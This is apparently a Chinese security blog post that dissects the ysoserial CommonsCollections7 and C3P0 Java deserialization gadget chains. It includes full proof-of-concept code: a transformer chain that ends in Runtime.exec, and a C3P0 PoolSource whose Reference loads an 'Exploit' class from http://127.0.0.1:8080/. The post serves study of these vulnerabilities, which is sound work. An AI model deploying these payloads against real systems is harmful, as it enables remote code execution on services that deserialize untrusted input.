ysoserial CommonsCollections7 & C3P0 详细分析

 

之前详细分析了前6个链的构造及利用方法,本片文章继续学习ysoserial中的cc7和C3P0链的构造和利用。

0x01 CommonsCollections7 分析

0x0 回顾 LazyMap 触发方式

CC7 链命令执行方式同 1、3、5、6和7链很相似,都是利用的LazyMap触发,LazyMap的特性就不多说了,主要是下面的get函数构成了命令执行链

这里主要回顾之前的触发方式

  1. CC1和CC3 是通过 AnnotationInvocationHandler invoke方法以及 jdk代理的方式触发命令执行。
  2. CC5 通过 BadAttributeValueExpException 借助 TiedMapEntry 的 toString 方法成功与 getValue 函数挂钩,与命令执行点紧密衔接 。
  3. CC5 通过 HashSet 借助 TiedMapEntry 的 hashCode 方法成功与 getValue 函数挂钩。

0x1 CC7 链的由来

前几个链的有着很明显共性,都是以 LazyMap 的get方法作为命令执行点的入口,那么这个CC7也是如此,只不过找到了不同于之前的触发方法,这个方法隐藏的比较深,我们可以这么分析。

首先梳理清楚 Map、AbstractMap、HashMap 这三者的关系,如上图所示HashMap 继承 AbstractMap 同时这二者实现Map接口。Map中的接口如下

我们重点关注equals方法,这个方法在HashMap的父类AbstractMap中实现

AbstractMap::equals

public boolean equals(Object o) {
    if (o == this)
        return true;
    if (!(o instanceof Map))
        return false;
    Map<K,V> m = (Map<K,V>) o;
    if (m.size() != size())
        return false;
    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                ......
            } else {
                if (!value.equals(m.get(key)))
                        return false;
        }
        ...
    } 
    return true;
}

该函数的第18行会调用map的get方法,然而LazyMap 正好实现Map接口,因此在这里可以有所作为。仔细的小朋友们会发现,触发这个是有条件的,以下三个判断都不能进入,否则代码执行不到触发点。详细的分析问题分析里展开

if (o == this)
    return true;
if (!(o instanceof Map))
    return false;
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
    return false;

0x2 反序列化链分析

知道了CC7的产生原因,我们从反序列化的入口开始分析。这次的反序列化入口是 Hashtable 的readObject函数

1. readObject 函数分析

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    s.defaultReadObject();
    int origlength = s.readInt();
    int elements = s.readInt();//elements 是hashtable中的元素个数
    ....

    for (; elements > 0; elements--) {//通过elements的长度读取键值对
        K key = (K)s.readObject();
        V value = (V)s.readObject();
        reconstitutionPut(newTable, key, value);//该函数会对元素进行比较
    }
    this.table = newTable;
}

在readObject中会把元素通过读取对象的形式还原出来,并通过reconstitutionPut进行元素对比加入到hashtable中。

2. 与LazyMap的连接点

private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    int hash = hash(key);//计算key的hash
    int index = (hash & 0x7FFFFFFF) % tab.length;//通过hash确定索引
    for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // 如果没有相同元素,创建元素到hashtable中
    Entry<K,V> e = tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

第10行的代码是一个非常完美的衔接点e.key.equals(key),它实现了将hashtable和LazyMap之间反序列化的连接。

3. 完整调用

配合之前构造好的ChainedTransformer 利用链

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

0x3 问题分析

1. 为什么innerMap为HashMap

在构造的时候LazyMap时 HashMap 作为decorate参数的第一个参数,那么这里为什么要使用HashMap呢,如果不认真分析这点很容易被忽略。因为要使用的是 HashMap中的equals方法,那么这个传递关系如下图所示

向LazyMap传入Hashmap后在lazymap比较时会调用第一个map的equal方法,同时hashmap继承了AbstractMap类但没有重写equals方法,所以最终调用的是 AbstractMap类中的 equals方法,这也是为什么传入hashmap的原因。

2. 为什么创建两个不同的hashmap作为参数

如果两个hashmap相同的话会直接在hashtable put的时候认为是一个元素,所以之后就不会在反序列化的时候触发equals代码

虽然表面上是lazymap的比较实际lazymap中的map就是传入的hashmap

3. 为什么选择 “zZ” 和 “yy” 作为key

这里我们回头看下Hashtable 中的 reconstitutionPut方法,重点看equals函数调用的前提条件是e.hash 和 hash相等,那就意味着两个key的hash必须相同,这个是条件之一。

有小伙伴会说 为什么不能把两个key设成一样的呢?这样hash就相等了,但是如果继续往下跟代码的话就会发现在lazymap的get方法中有以下逻辑,map的key不能重复否则就不会执行transform函数执行代码了。

所以只能根据以下特性构造了

String s1 = "yy";
String s2 = "zZ";
System.out.println(s1.hashCode()==s2.hashCode());

4. 为什么要移除第二个LazyMap中的元素

看似完美的利用链但是有好多坑要填,就比如 hashtable 在添加第二个元素的时候会触发equals方法

hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
......
!value.equals(m.get(key)) // 获取key
......

这里可以看到get方法向当前的map添加了新元素,从而lazyMap2变成了两个元素。新的问题又出现了在AbstractMap的equals方法

主要是判断了两个元素的长度是否相同,所以这里必须将put lazymap2时候添加的key和value给手动去掉。

最好在hashtable put前把transformerChain 设成空,这样不会提前执行命令执行链。

0x4 payload编写

虽然原理解释了半天,但是在payload编写方面还是挺好写的,主要步骤如下:

  1. 创建两个hashmap和两个Lazymap
  2. 向lazymap中填充以yy和zZ为key的两个键值对
  3. 将两个lazymap put进创建的hashtable中
  4. 修改transformerChain的iTransformers属性为命令执行链
  5. 删除lazyMap2中多余的key
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(new Transformer[] {});
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);
        Class tr = transformerChain.getClass();
        Field field = tr.getDeclaredField("iTransformers");
        field.setAccessible(true);
        final Object value = transformers;
        final Object chain = transformerChain;
        field.set(chain,value);
        lazyMap2.remove("yy");
        byte[] serializeData=serialize(hashtable);
        unserialize(serializeData);
    }

完整代码在
https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc7.java

0x5 总结

完美利用了hashtable反序列化时会触发元素比较,巧的是lazymap的equals方法是继承父类方法,父类做的操作是用lazymap的innermap进行对比,刚好innermap是hashmap,hashmap的equals方法时继承AbstractMap类,其中有个获取equals方法参数的key,及m.get(key),

 

0x02 C3P0 反序列化利用分析

C3P0链也是个比较有趣的利用链,主要涉及了PoolBackedDataSourceBase、ConnectionPoolDataSource、Referenceable、ReferenceableUtils、ReferenceIndirector这几个类和接口。粗略看的话类的关系跳来跳去,利用链貌似很复杂,细细的品一品回味无穷,感觉真香。老规矩,从整体链分析构造方法,最后解答几个自己的问题结束。

0x1 调用栈分析

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.readObject
com.mchange.v2.naming.ReferenceIndirector.getObject
com.mchange.v2.naming.ReferenceableUtils.referenceToObject

整个利用链非常的浅,主要利用的PoolBackedDataSourceBase的readObject函数作为反序列化的入口,最后调用referenceToObject函数触发Class.forName动态加载远程类

0x2 反序列化链分析

1. readObject 函数分析

那么首先我们看一看这次的入口函数

在代码的213行出发getObject方法,这个方法是ois.readObject 还原出来的对象。因为IndirectlySerialized为一个借口,所以我们在这里还太知道getObject方法的真正执行者是谁。

只能通过分析序列化的过程看一看第一个封装的对象是谁。如下图所示writeObject方法中的169行,因为connectionPoolDataSource没有继承Serializable接口,所以在这里会直接抛异常进入catch代码段。有意思的事情发生了在oos.writeObject的时候包装了类

粗略的看下这个包装的类,需要执行connectionPoolDataSource对象的getReference方法

2. getObject 方法分析

getObject 方法主要是为了调用ReferenceableUtils的referenceToObject 方法,因此要事先将一些参数准备好,尤其是this.reference

3. referenceToObject 方法分析

最后就到了Class解析的地方,var0为传递过来的this.reference,var4为ClassName,var11为ClassLocation这里即URL,最后通过Class.forName解析远程类。

0x3 利用链构造

如何构造这个利用链呢?我们从上述分析来看,connectionPoolDataSource是个非常特殊的存在,它是整个链的纽带和桥梁。从分析来看一旦connectionPoolDataSource构造好了,整个利用链也就完成了。那么connectionPoolDataSource需要满足以下条件

  1. 继承ConnectionPoolDataSource、Referenceable,并简单实现接口中的方法
  2. 重点实现getReference 方法,返回对应的数据

至于原因在问题分析中进行解析。在这里分析ConnectionPoolDataSource接口实现以及getReference方法实现。

private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
        private String className;
        private String url;
        public PoolSource(String className, String url) {
            this.className = className;
            this.url = url;
        }
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }
        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }
        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }
        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }
        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {
        }
        @Override
        public void setLoginTimeout(int seconds) throws SQLException {
        }
        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }
        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }

至于为什么getReference,原因很简单在最后的referenceToObject方法中会调用getFactoryClassName和getFactoryClassLocation 获取类名和类的加载URL,然而这两个方法就是Reference类中的。

new Reference("exploit", this.className, this.url);

之后正常写主函数即可。

    public static void main(String[] args) throws Exception{
        Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
        con.setAccessible(true);
        PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
        Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        conData.setAccessible(true);
        conData.set(obj, new PoolSource("Exploit", "http://127.0.0.1:8080/"));        
        byte[] serializeData=serialize(obj);
        unserialize(serializeData);
    }

0x4 问题分析

connectionPoolDataSource的条件由来

connectionPoolDataSource对象的结构到底是怎么确定的,主要归结为两点
其一序列化时的参数类型为ConnectionPoolDataSource,因此要实现ConnectionPoolDataSource及其父类的所有接口。

其二序列化时调用了ConnectionPoolDataSource类型转换后的getReference因此要实现Referenceable接口及其getReference方法

最后因为接口中的方法都要实现,所以一些无关紧要的方法可以随意返回

 

0x03 总结

主要学习了CC7和C3P0利用链的原理和构造方式,5.1假期收获颇多,打算接下来有时间好好的总结RMI等远程方法调用的知识。

 

0x04 参考文献

https://xz.aliyun.com/t/7157
https://www.cnblogs.com/tr1ple/p/12608764.html
https://sec.nmask.cn/article_content?a_id=70074312ac553fcce2c9ead0f951ba63

(完)